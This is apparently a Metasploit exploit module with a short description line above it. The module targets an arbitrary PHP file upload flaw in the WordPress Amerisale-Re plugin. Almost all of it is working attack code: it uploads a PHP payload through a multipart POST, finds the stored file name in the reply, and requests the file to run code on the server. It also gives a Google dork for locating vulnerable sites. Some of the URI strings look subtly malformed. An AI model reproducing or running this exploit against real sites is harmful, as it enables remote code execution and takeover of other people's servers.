This Metasploit module exploits an arbitrary PHP file upload in the WordPress Amerisale-Re third party plugin.
1977a861af86c1bb609eab4c6885099d74ee40712c458de75397e40bdcfb1bea
# Exploit Title : Wordpress amerisale-re Remote Shell Upload
# Exploit Author : T3rm!nat0r5
# Vendor Homepage : http://wordpress.org/
# Google Dork : inurl:/wp-content/plugins/amerisale-re
# Date : 2014/01/30
# Tested on : Windows 8 , Linux
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress amerisale-re Plugin Remote
Shell Upload',
'Description' => %q{
This module exploits an arbitrary PHP File Upload and Code
Execution flaw in some
WordPress blog software plugins. The vulnerability allows for
arbitrary file upload
and remote code execution POST Data to Vulnerable Script/File in the plugin.
},
'Author' => [ 'T3rm!nat0r5 [Forever]' ],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 999999
},
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0,
))
register_options(
[
OptString.new('Target', [true, "Wordpress Path", "/"]),
OptString.new('PLUGIN', [true, "Full path of Plugin and
Vulnerable File", "/"]),
OptString.new('UDP', [true, "File Upload Path", "/"])
], self.class)
end
def check
uri = datastore['Target']
plug = datastore['PLUGIN']
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{uri}'/'#{plug}"
})
if res and res.code == 200
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def exploit
uri = datastore['Target']
plug = datastore['PLUGIN']
path = datastore['UDP']
peer = "#{rhost}:#{rport}"
post_data = Rex::MIME::Message.new
post_data.add_part("<?php #{payload.encoded} ?>",
"application/octet-stream", nil,
"form-data; name=\"Filedata\";
filename=\"#{rand_text_alphanumeric(6)}.php\"")
print_status("#{peer} - Sending payload")
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}'/'#{plug}",
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
'data' => post_data.to_s
})
if not res or res.code != 200 or res.body !~
/\{\"raw_file_name\"\:\"(\w+)\"\,/
print_error("#{peer} - File wasn't uploaded, aborting!")
return
end
print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...")
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{uri}'/'#{path}'/'#{$1}.php"
})
if res and res.code != 200
print_error("#{peer} - Server returned #{res.code.to_s}")
end
end
end
# Exploit by T3rm!nat0r5